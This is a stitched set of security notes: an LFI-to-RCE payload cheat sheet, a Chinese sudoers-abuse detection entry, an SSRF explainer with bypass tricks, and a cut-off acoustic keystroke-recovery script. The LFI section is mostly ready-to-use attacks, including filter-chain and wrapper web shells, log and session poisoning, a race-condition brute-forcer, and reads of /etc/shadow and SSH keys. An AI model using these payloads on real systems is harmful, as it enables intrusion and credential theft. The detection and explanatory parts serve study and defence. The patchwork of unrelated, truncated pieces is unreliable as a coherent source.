UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=php://temp ``` * [LFI2RCE.py](./LFI2RCE.py) to generate a custom payload. ```powershell # vulnerable file: index.php # vulnerable parameter: file # executed command: id # executed PHP code: <?=`$_GET[0]`;;?> curl "127.0.0.1:8000/index.php?0=id&file=php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.SHIFTJISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=/etc/passwd" ``` ### Wrapper data:// ```powershell http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4= NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>" ``` Fun fact: you can trigger an XSS and bypass the Chrome Auditor with : `http://example.com/index.php?page=data:application/x-httpd-php;base64,PHN2ZyBvbmxvYWQ9YWxlcnQoMSk+` ### Wrapper expect:// ```powershell http://example.com/index.php?page=expect://id http://example.com/index.php?page=expect://ls ``` ### Wrapper input:// Specify your payload in the POST parameters, this can be done with a simple `curl` command. ```powershell curl -X POST --data "<?php echo shell_exec('id'); ?>" "https://example.com/index.php?page=php://input%00" -k -v ``` Alternatively, Kadimus has a module to automate this attack. ```powershell ./kadimus -u "https://example.com/index.php?page=php://input%00" -C '<?php echo shell_exec("id"); ?>' -T input ``` ### Wrapper zip:// 1. Create an evil payload: `echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;` 2. Zip the file ```python zip payload.zip payload.php; mv payload.zip shell.jpg; rm payload.php ``` 3. Upload the archive and access the file using the wrappers: http://example.com/index.php?page=zip://shell.jpg%23payload.php ### Wrapper phar:// Create a phar file with a serialized object in its meta-data. ```php // create new Phar $phar = new Phar('test.phar'); $phar->startBuffering(); $phar->addFromString('test.txt', 'text'); $phar->setStub('<?php __HALT_COMPILER(); ? >'); // add object of any class as meta data class AnyClass {} $object = new AnyClass; $object->data = 'rips'; $phar->setMetadata($object); $phar->stopBuffering(); ``` If a file operation is now performed on our existing Phar file via the phar:// wrapper, then its serialized meta data is unserialized. If this application has a class named AnyClass and it has the magic method __destruct() or __wakeup() defined, then those methods are automatically invoked ```php class AnyClass { function __destruct() { echo $this->data; } } // output: rips include('phar://test.phar'); ``` NOTE: The unserialize is triggered for the phar:// wrapper in any file operation, `file_exists` and many more. ### Wrapper convert.iconv:// and dechunk:// - `convert.iconv://`: convert input into another folder (`convert.iconv.utf-16le.utf-8`) - `dechunk://`: if the string contains no newlines, it will wipe the entire string if and only if the string starts with A-Fa-f0-9 The goal of this exploitation is to leak the content of a file, one character at a time, based on the [DownUnderCTF](https://github.com/DownUnderCTF/Challenges_2022_Public/blob/main/web/minimal-php/solve/solution.py) writeup. **Requirements**: - Backend must not use `file_exists` or `is_file`. - Vulnerable parameter should be in a `POST` request. - You can't leak more than 135 characters in a GET request due to the size limit The exploit chain is based on PHP filters: `iconv` and `dechunk`: 1. Use the `iconv` filter with an encoding increasing the data size exponentially to trigger a memory error. 2. Use the `dechunk` filter to determine the first character of the file, based on the previous error. 3. Use the `iconv` filter again with encodings having different bytes ordering to swap remaining characters with the first one. Exploit using [synacktiv/php_filter_chains_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit), the script will use either the `HTTP status code: 500` or the time as an error-based oracle to determine the character. ```ps1 $ python3 filters_chain_oracle_exploit.py --target http://127.0.0.1 --file '/test' --parameter 0 [*] The following URL is targeted : http://127.0.0.1 [*] The following local file is leaked : /test [*] Running POST requests [+] File /test leak is finished! ``` ## LFI to RCE via /proc/*/fd 1. Upload a lot of shells (for example : 100) 2. Include http://example.com/index.php?page=/proc/$PID/fd/$FD, with $PID = PID of the process (can be bruteforced) and $FD the filedescriptor (can be bruteforced too) ## LFI to RCE via /proc/self/environ Like a log file, send the payload in the User-Agent, it will be reflected inside the /proc/self/environ file ```powershell GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1 User-Agent: <?=phpinfo(); ?> ``` ## LFI to RCE via upload If you can upload a file, just inject the shell payload in it (e.g : `<?php system($_GET['c']); ?>` ). ```powershell http://example.com/index.php?page=path/to/uploaded/file.png ``` In order to keep the file readable it is best to inject into the metadata for the pictures/doc/pdf ## LFI to RCE via upload (race) Worlds Quitest Let's Play" * Upload a file and trigger a self-inclusion. * Repeat 1 a shitload of time to: * increase our odds of winning the race * increase our guessing odds * Bruteforce the inclusion of /tmp/[0-9a-zA-Z]{6} * Enjoy our shell. ```python import itertools import requests import sys print('[+] Trying to win the race') f = {'file': open('shell.php', 'rb')} for _ in range(4096 * 4096): requests.post('http://target.com/index.php?c=index.php', f) print('[+] Bruteforcing the inclusion') for fname in itertools.combinations(string.ascii_letters + string.digits, 6): url = 'http://target.com/index.php?c=/tmp/php' + fname r = requests.get(url) if 'load average' in r.text: # <?php echo system('uptime'); print('[+] We have got a shell: ' + url) sys.exit(0) print('[x] Something went wrong, please try again') ``` ## LFI to RCE via upload (FindFirstFile) :warning: Only works on Windows `FindFirstFile` allows using masks (`<<` as `*` and `>` as `?`) in LFI paths on Windows. * Upload a file, it should be stored in the temp folder `C:\Windows\Temp\`. * Include it using `http://site/vuln.php?inc=c:\windows\temp\php<<` ## LFI to RCE via phpinfo() PHPinfo() displays the content of any variables such as **$_GET**, **$_POST** and **$_FILES**. > By making multiple upload posts to the PHPInfo script, and carefully controlling the reads, it is possible to retrieve the name of the temporary file and make a request to the LFI script specifying the temporary file name. Use the script phpInfoLFI.py (also available at https://www.insomniasec.com/downloads/publications/phpinfolfi.py) Research from https://www.insomniasec.com/downloads/publications/LFI%20With%20PHPInfo%20Assistance.pdf ## LFI to RCE via controlled log file Just append your PHP code into the log file by doing a request to the service (Apache, SSH..) and include the log file. ```powershell http://example.com/index.php?page=/var/log/apache/access.log http://example.com/index.php?page=/var/log/apache/error.log http://example.com/index.php?page=/var/log/apache2/access.log http://example.com/index.php?page=/var/log/apache2/error.log http://example.com/index.php?page=/var/log/nginx/access.log http://example.com/index.php?page=/var/log/nginx/error.log http://example.com/index.php?page=/var/log/vsftpd.log http://example.com/index.php?page=/var/log/sshd.log http://example.com/index.php?page=/var/log/mail http://example.com/index.php?page=/var/log/httpd/error_log http://example.com/index.php?page=/usr/local/apache/log/error_log http://example.com/index.php?page=/usr/local/apache2/log/error_log ``` ### RCE via SSH Try to ssh into the box with a PHP code as username `<?php system($_GET["cmd"]);?>`. ```powershell ssh <?php system($_GET["cmd"]);?>@10.10.10.10 ``` Then include the SSH log files inside the Web Application. ```powershell http://example.com/index.php?page=/var/log/auth.log&cmd=id ``` ### RCE via Mail First send an email using the open SMTP then include the log file located at `http://example.com/index.php?page=/var/log/mail`. ```powershell root@kali:~# telnet 10.10.10.10. 25 Trying 10.10.10.10.... Connected to 10.10.10.10.. Escape character is '^]'. 220 straylight ESMTP Postfix (Debian/GNU) helo ok 250 straylight mail from: mail@example.com 250 2.1.0 Ok rcpt to: root 250 2.1.5 Ok data 354 End data with <CR><LF>.<CR><LF> subject: <?php echo system($_GET["cmd"]); ?> data2 . ``` In some cases you can also send the email with the `mail` command line. ```powershell mail -s "<?php system($_GET['cmd']);?>" www-data@10.10.10.10. < /dev/null ``` ### RCE via Apache logs Poison the User-Agent in access logs: ``` $ curl http://example.org/ -A "<?php system(\$_GET['cmd']);?>" ``` Note: The logs will escape double quotes so use single quotes for strings in the PHP payload. Then request the logs via the LFI and execute your command. ``` $ curl http://example.org/test.php?page=/var/log/apache2/access.log&cmd=id ``` ## LFI to RCE via PHP sessions Check if the website use PHP Session (PHPSESSID) ```javascript Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/ Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly ``` In PHP these sessions are stored into /var/lib/php5/sess_[PHPSESSID] or /var/lib/php/sessions/sess_[PHPSESSID] files ```javascript /var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27. user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin"; ``` Set the cookie to `<?php system('cat /etc/passwd');?>` ```powershell login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php ``` Use the LFI to include the PHP session file ```powershell login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27 ``` ## LFI to RCE via credentials files This method require high privileges inside the application in order to read the sensitive files. ### Windows version First extract `sam` and `system` files. ```powershell http://example.com/index.php?page=../../../../../../WINDOWS/repair/sam http://example.com/index.php?page=../../../../../../WINDOWS/repair/system ``` Then extract hashes from these files `samdump2 SYSTEM SAM > hashes.txt`, and crack them with `hashcat/john` or replay them using the Pass The Hash technique. ### Linux version First extract `/etc/shadow` files. ```powershell http://example.com/index.php?page=../../../../../../etc/shadow ``` Then crack the hashes inside in order to login via SSH on the machine. Another way to gain SSH access to a Linux machine through LFI is by reading the private key file, id_rsa. If SSH is active check which user is being used `/proc/self/status` and `/etc/passwd` and try to access `/<HOME>/.ssh/id_rsa`. ## References * [OWASP LFI](https://www.owasp.org/index.php/Testing_for_Local_File_Inclusion) * [HighOn.coffee LFI Cheat](https://highon.coffee/blog/lfi-cheat-sheet/) * [Turning LFI to RFI](https://l.avala.mp/?p=241) * [Is PHP vulnerable and under what conditions?](http://0x191unauthorized.blogspot.fr/2015/04/is-php-vulnerable-and-under-what.html) * [Upgrade from LFI to RCE via PHP Sessions](https://www.rcesecurity.com/2017/08/from-lfi-to-rce-via-php-sessions/) * [Local file inclusion tricks](http://devels-playground.blogspot.fr/2007/08/local-file-inclusion-tricks.html) * [CVV #1: Local File Inclusion - SI9INT](https://medium.com/bugbountywriteup/cvv-1-local-file-inclusion-ebc48e0e479a) * [Exploiting Blind File Reads / Path Traversal Vulnerabilities on Microsoft Windows Operating Systems - @evisneffos](https://web.archive.org/web/20200919055801/http://www.soffensive.com/2018/06/exploiting-blind-file-reads-path.html) * [Baby^H Master PHP 2017 by @orangetw](https://github.com/orangetw/My-CTF-Web-Challenges#babyh-master-php-2017) * [Чтение файлов => unserialize !](https://web.archive.org/web/20200809082021/https://rdot.org/forum/showthread.php?t=4379) * [New PHP Exploitation Technique - 14 Aug 2018 by Dr. Johannes Dahse](https://blog.ripstech.com/2018/new-php-exploitation-technique/) * [It's-A-PHP-Unserialization-Vulnerability-Jim-But-Not-As-We-Know-It, Sam Thomas](https://github.com/s-n-t/presentations/blob/master/us-18-Thomas-It's-A-PHP-Unserialization-Vulnerability-Jim-But-Not-As-We-Know-It.pdf) * [CVV #1: Local File Inclusion - @SI9INT - Jun 20, 2018](https://medium.com/bugbountywriteup/cvv-1-local-file-inclusion-ebc48e0e479a) * [Exploiting Remote File Inclusion (RFI) in PHP application and bypassing remote URL inclusion restriction](http://www.mannulinux.org/2019/05/exploiting-rfi-in-php-bypass-remote-url-inclusion-restriction.html?m=1) * [PHP LFI with Nginx Assistance](https://bierbaumer.net/security/php-lfi-with-nginx-assistance/) * [PHP LFI to arbitrary code execution via rfc1867 file upload temporary files (EN) - gynvael.coldwind - 2011-03-18](https://gynvael.coldwind.pl/?id=376) * [LFI2RCE via PHP Filters - HackTricks](https://book.hacktricks.xyz/pentesting-web/file-inclusion/lfi2rce-via-php-filters) * [Solving "includer's revenge" from hxp ctf 2021 without controlling any files - @loknop](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) * [PHP FILTERS CHAIN: WHAT IS IT AND HOW TO USE IT - Rémi Matasse - 18/10/2022](https://www.synacktiv.com/publications/php-filters-chain-what-is-it-and-how-to-use-it.html) * [PHP FILTER CHAINS: FILE READ FROM ERROR-BASED ORACLE - Rémi Matasse - 21/03/2023](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html)
sec-knowleage
# T1169-linux-Sudo ## 来自ATT&CK的描述 sudoers文件`/etc/sudoers`描述了哪些用户可以运行哪些命令以及从哪些终端运行。这还描述了用户可以作为其他用户或组运行的命令。这提供了最小特权的概念,使得用户在大多数时间以最低可能的权限运行,并且仅在需要时提升到其他用户或权限,通常通过提示输入密码。但是,sudoers文件还可以指定何时不提示用户输入类似`user1 ALL=(ALL) NOPASSWD: ALL` [[1\]](https://blog.malwarebytes.com/threat-analysis/2017/04/new-osx-dok-malware-intercepts-web-traffic/)的行的密码。 攻击者可以利用这些配置来执行其他用户的命令或生成具有更高权限的进程。您必须具有提升权限才能编辑此文件。 ## 测试案例 cat /etc/sudoers vim /etc/sudoers 值得注意的是:攻击者可以利用这些配置来执行其他用户的命令或生成具有更高权限的进程。您必须具有提升权限才能编辑此文件。 ## 检测日志 linux audit日志 (值得注意的是:Ubuntu默认情况下没有audit,需要下载安装并配置相关策略) ## 测试复现 ### 场景一 ```bash icbc@icbc:/$ sudo cat /etc/sudoers ``` ### 场景二 ```bash icbc@icbc:/$ sudo vim /etc/sudoers ``` ## 测试留痕 ```bash type=USER_CMD msg=audit(1563520773.609:436): pid=3530 uid=1000 auid=1000 ses=3 msg='cwd="/" cmd=636174202F6574632F7375646F657273 terminal=pts/0 res=success' ``` 值得注意的是:这里只提取出了异常日志,故省略了很多日志细节。 ## 检测规则/规则 ### splunk规则 ```yml index=linux sourcetype="linux_audit" sudoers_110 ``` 值得注意的是:你需要自行配置Audit审核规则:root@icbc:~# auditctl -w /etc/sudoers -p war -k sudoers_110 ### 建议 暂无 ## 参考推荐 MITRE-ATT&CK-T1548-003 <https://attack.mitre.org/techniques/T1548/003/> Audit配置手册 <https://www.cnblogs.com/bldly1989/p/7204358.html>
sec-knowleage
# 溯源案例整理 // TODO ## 国内 [1] 溯源黑帽利用 Web 编辑器漏洞非法植入 SEO 页面事件,SanLorewalker@知道创宇404积极防御实验室,https://paper.seebug.org/1273/#2
sec-knowleage
### SSRF 简介 SSRF,Server-Side Request Forgery,服务端请求伪造,是一种由攻击者构造形成由服务器端发起请求的一个漏洞。一般情况下,SSRF 攻击的目标是从外网无法访问的内部系统。 漏洞形成的原因大多是因为服务端提供了从其他服务器应用获取数据的功能且没有对目标地址作过滤和限制。 攻击者可以利用 SSRF 实现的攻击主要有 5 种: 1. 可以对外网、服务器所在内网、本地进行端口扫描,获取一些服务的 banner 信息 2. 攻击运行在内网或本地的应用程序(比如溢出) 3. 对内网 WEB 应用进行指纹识别,通过访问默认文件实现 4. 攻击内外网的 web 应用,主要是使用 GET 参数就可以实现的攻击(比如 Struts2,sqli 等) 5. 利用 `file` 协议读取本地文件等 ### SSRF 漏洞出现的场景 - 能够对外发起网络请求的地方,就可能存在 SSRF 漏洞 - 从远程服务器请求资源(Upload from URL,Import & Export RSS Feed) - 数据库内置功能(Oracle、MongoDB、MSSQL、Postgres、CouchDB) - Webmail 收取其他邮箱邮件(POP3、IMAP、SMTP) - 文件处理、编码处理、属性信息处理(ffmpeg、ImageMagic、DOCX、PDF、XML) ### SSRF漏洞攻击常用的后端实现 1. `file_get_contents` ```php <?php if (isset($_POST['url'])) { $content = file_get_contents($_POST['url']); $filename ='./images/'.rand().';img1.jpg'; file_put_contents($filename, $content); echo $_POST['url']; $img = "<img src=\"".$filename."\"/>"; } echo $img; ?> ``` 这段代码使用 `file_get_contents` 函数从用户指定的 URL 获取图片。然后把它用一个随机文件名保存在硬盘上,并展示给用户。 2. `fsockopen()` ```php <?php function GetFile($host,$port,$link) { $fp = fsockopen($host, intval($port), $errno, $errstr, 30); if (!$fp) { echo "$errstr (error number $errno) \n"; } else { $out = "GET $link HTTP/1.1\r\n"; $out .= "Host: $host\r\n"; $out .= "Connection: Close\r\n\r\n"; $out .= "\r\n"; fwrite($fp, $out); $contents=''; while (!feof($fp)) { $contents.= fgets($fp, 1024); } fclose($fp); return $contents; } } ?> ``` 这段代码使用 `fsockopen` 函数实现获取用户指定 URL 的数据(文件或者 HTML)。这个函数会使用 socket 跟服务器建立 TCP 连接,传输原始数据。 3. `curl_exec()` ```php <?php if (isset($_POST['url'])) { $link = $_POST['url']; $curlobj = curl_init(); curl_setopt($curlobj, CURLOPT_POST, 0); curl_setopt($curlobj,CURLOPT_URL,$link); curl_setopt($curlobj, CURLOPT_RETURNTRANSFER, 1); $result=curl_exec($curlobj); curl_close($curlobj); $filename = './curled/'.rand().'.txt'; file_put_contents($filename, $result); echo $result; } ?> ``` 使用 `curl` 获取数据。 ### 阻碍 SSRF 漏洞利用的场景 - 服务器开启 OpenSSL 无法进行交互利用 - 服务端需要鉴权(Cookies & User:Pass)不能完美利用 - 限制请求的端口为http常用的端口,比如,80,443,8080,8090。 - 禁用不需要的协议。仅仅允许http和https请求。可以防止类似于file:///,gopher://,ftp:// 等引起的问题。 - 统一错误信息,避免用户可以根据错误信息来判断远端服务器的端口状态。 ### 利用 SSRF 进行端口扫描实现方式 根据服务器的返回信息进行判断,大部分应用不会判别端口,可通过返回的 banner 信息判断端口状态。 后端实现 ```php <?php if (isset($_POST['url'])) { $link = $_POST['url']; $filename = './curled/'.rand().'txt'; $curlobj = curl_init($link); $fp = fopen($filename,"w"); curl_setopt($curlobj, CURLOPT_FILE, $fp); curl_setopt($curlobj, CURLOPT_HEADER, 0); curl_exec($curlobj); curl_close($curlobj); fclose($fp); $fp = fopen($filename,"r"); $result = fread($fp, filesize($filename)); fclose($fp); echo $result; } ?> ``` 构造一个前端页面 ```html <html> <body> <form name="px" method="post" action="http://127.0.0.1/ss.php"> <input type="text" name="url" value=""> <input type="submit" name="commit" value="submit"> </form> <script></script> </body> </html> ``` 请求非 HTTP 的端口可以返回 banner 信息。 或可利用 302 跳转绕过 HTTP 协议的限制。 辅助脚本 ```php <?php $ip = $_GET['ip']; $port = $_GET['port']; $scheme = $_GET['s']; $data = $_GET['data']; header("Location: $scheme://$ip:$port/$data"); ?> ``` [腾讯某处 SSRF 漏洞(非常好的利用点)附利用脚本](https://_thorns.gitbooks.io/sec/content/teng_xun_mou_chu_ssrf_lou_6d1e28_fei_chang_hao_de_.html) ### SSRF漏洞攻击的相关协议利用 - Dict 协议 ``` dict://fuzz.wuyun.org:8080/helo:dict ``` - Gopher 协议 ``` gopher://fuzz.wuyun.org:8080/gopher ``` - File 协议 ``` file:///etc/passwd ``` ### SSRF漏洞攻击绕过姿势 1. 更改IP地址写法 例如`192.168.0.1` - 8进制格式:`0300.0250.0.1` - 16进制格式:`0xC0.0xA8.0.1` - 10进制整数格式:`3232235521` - 16进制整数格式:`0xC0A80001` - 还有一种特殊的省略模式,例如`10.0.0.1`这个IP可以写成`10.1` 2. 利用URL解析问题 在某些情况下,后端程序可能会对访问的URL进行解析,对解析出来的host地址进行过滤。这时候可能会出现对URL参数解析不当,导致可以绕过过滤。 例如: - `http://www.baidu.com@192.168.0.1/`与`http://192.168.0.1`请求的都是`192.168.0.1`的内容 - 可以指向任意ip的域名`xip.io`:`http://127.0.0.1.xip.io/`==>`http://127.0.0.1/` - 短地址`http://dwz.cn/11SMa`==>`http://127.0.0.1` - 利用句号`。`:`127。0。0。1`==>`127.0.0.1` - 利用Enclosed alphanumerics ``` ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ >>> example.com List: ① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳ ⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇ ⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗ ⒘ ⒙ ⒚ ⒛ ⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰ ⒱ ⒲ ⒳ ⒴ ⒵ Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ ⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴ ⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿ ``` ### SSRF漏洞危害 * 可以对外网、服务器所在内网、本地进行端口扫描,获取一些服务的banner信息; * 攻击运行在内网或本地的应用程序(比如溢出); * 对内网web应用进行指纹识别,通过访问默认文件实现; * 攻击内外网的web应用,主要是使用get参数就可以实现的攻击(比如struts2,sqli等); * 利用file协议读取本地文件等。
sec-knowleage
import math, string # Read raw data. data=open("keysound1_ampl.wav","rb").read()[44:] samples=[] for i in range(len(data)/2): smp=ord(data[i*2+1])*256+ord(data[i*2]) if smp>=256*256/2: smp-=256*256 samples.append(smp) print "Got samples from file..." RAVG=400 # Running average length THR=4600 # Threshold of peak finding HYST=100 # Hysteresis of peak finding PEAKLEN=600 # Length (in samples) of one key press SIM_THR=1000 # Similarity threshold UNK_SAMPLES=42 # Number of key presses, after which known text begins # Calculate root running mean square. ravg=[] sm=0 for i in range(RAVG/2,len(samples)): if i>=RAVG*3/2: sm-=samples[i-RAVG]**2 sm+=samples[i]**2 ravg.append(3*math.sqrt(sm/(RAVG+0.0))) print "Calculated rms..." # Find peaks (key presses). i=0 peaks=[] while i<len(ravg): if ravg[i]<THR+HYST: i+=1 continue mx=0 mxind=i while i<len(ravg) and ravg[i]>THR-HYST: if ravg[i]>mx: mx=ravg[i] mxind=i i+=1 peaks.append(mxind) print "Found peaks..." # Getting samples of each character. chardata={} for i, char in enumerate(open("Blog Text.txt").read()): peak=peaks[i+UNK_SAMPLES] peakdata=samples[peak-PEAKLEN:peak+PEAKLEN] if char not in chardata: chardata[char]=[peakdata] else: chardata[char].append(peakdata) print "Gathered character samples..." def difference(arr1, arr2): sm=0 for i in range(len(arr1)): sm+=(arr1[i]-arr2[i])**2 return sm/len(arr1) # Finding best fit for unknown 